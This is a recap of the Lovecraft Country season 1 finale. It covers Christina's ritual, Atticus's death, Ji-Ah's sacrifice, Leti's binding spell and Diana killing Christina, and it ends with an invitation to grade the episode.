Christina gets wind that Atticus has the Book of Names and visits the garage, promising that if he gives it to her, she’ll find a way to achieve her goal without hurting his family. Naturally, he doesn’t believe her, and he refuses. So on her way out, she yanks Leti’s invulnerability.

Lovecraft country finale recap season 1 episode 10 atticus diesMAKING AMENDS | Tic meets Ji-Ah at her hotel’s bar and apologizes for the terrible things he said to her. Her mother died recently, and she fears that she truly is incapable of feeling, because she feels so empty. He tells her that’s just grief, and that she is part of his family now, thanks to their intertwined destinies. Meanwhile, at their mother’s grave, Leti confesses to Ruby that the reason she didn’t come to the funeral was because she was in jail. Then she asks Ruby to get some of Christina’s blood for them to use for the spell, and Ruby explodes. “You only want to be my sister when you need something, Leti,” she says.

At home, Ruby finds Christina working on the spell in the basement. They kiss, and then Christina asks, “Have you ever?” Ruby says no, and they start to get it on.

The next thing we know, Ruby shows up as Leti, Atticus, Montrose, Ji-Ah, Diana and Hippolyta are preparing to leave for Ardham. She hands Leti a vial of blood, Leti hugs her, and pretty soon everyone is singing along to The Crew Cuts’ “Sh-boom” while they’re on the drive.

THE POWER OF THREE | OK, so the gist of the spell: They have to connect Atticus, Christina and ye olde Braithwhite’s bodies in order for things to work. So in the woods outside Ardham’s ruins, Tic eats the slave owner’s skin (eew) and drinks the blood (eeeeew), then walks toward what remains of the house. As soon as he gets close, the townspeople grab him and strap him down to the nasty-looking apparatus Christina has set up. But what he doesn’t know: Up in the tower, Leti has just realized that Ruby isn’t Ruby… she’s Christina, all potioned-up. Christina-as-Ruby tells Leti that Ruby is dead, then they have a crazy fight, which ends when Christina-as-Ruby pushes a very vulnerable Leti out the window. She lands on the ground hard. At the same time, the townsfolk surround the rest of Atticus’ group and make them watch while Christina goes about her evil ways.

The blonde slashes open Atticus’ arms and basically takes a shower in his blood, chanting a spell that starts to siphon off his power and put it in her. Elsewhere on the property, Leti wakes up (yay!) and notices that she has a protective mark on her again. So she runs to the ceremony and makes it there in time to make eye contact with Atticus, mouth “I love you,” and watch him die.

Lovecraft country finale recap season 1 episode 10 atticus diesDON’T MESS WITH MAMA | Leti is so enraged, she runs up and stabs Christina straight through the torso. “You’re too late,” Christina says, gleeful. “I’m immortal now.” She also reminds Leti that the spell she’s chanting won’t work: The vial of blood she (as Ruby) contributed to the cause didn’t actually come from Braithwhite veins. Hippolyta helpfully yells to Ji-Ah that Leti’s magic won’t work, because Christina and Atticus’ bodies aren’t connected.

Ji-Ah looks up at the dark cloud spiraling to the sky and knows what she has to do. She steps directly into its path, goes all kumiho and spears both Christina and Atticus with her tails — connecting them. Scenes flash before her eyes, including Atticus’ baptism (which we saw him preparing for with Leti earlier) and his delivering a letter to Hippolyta. Then there’s a giant explosion.

Christina comes to a while later, but she’s trapped under heavy rubble. “You bound me from magic,” she tells Leti. “Not just you. Every white person in the world,” the expectant mother informs her. “Magic is ours now.”

HOLLOW VICTORY | Sadly, though, Ji-Ah’s move didn’t do anything to bring Atticus back to life. Montrose has a hard time believing that his kid is gone, so Hippolyta hands him the letter Tic gave her. In it, the younger man explains what he did to protect their family and wishes “supreme happiness” for his dad. He asks him to take care of his son, as well. “As little George’s grandfather, you have a second chance to be the father you always wanted,” he writes. “Don’t waste it. Love, Tic.”

Christina is still moaning under the rubble when Diana happens upon her sometime later. Did I mention that Diana and the black shoggoth have become besties? Because that definitely happened while she was waiting in the car near Ardham.

Anyway, Christina begs for the girl’s help, but Diana just shakes her head. “You still haven’t learned,” she says, taking off her coat to reveal the bionic arm that Hippolyta outfitted her with earlier in the episode (but which we haven’t seen until now). Diana puts her cold, robotic hand around Christina’s throat and squeezes until it pops. As the shoggoth turns to leave, it screams at the sky.

Now it’s your turn. What did you think of the episode? Grade the finale via the poll below, then hit the comments!

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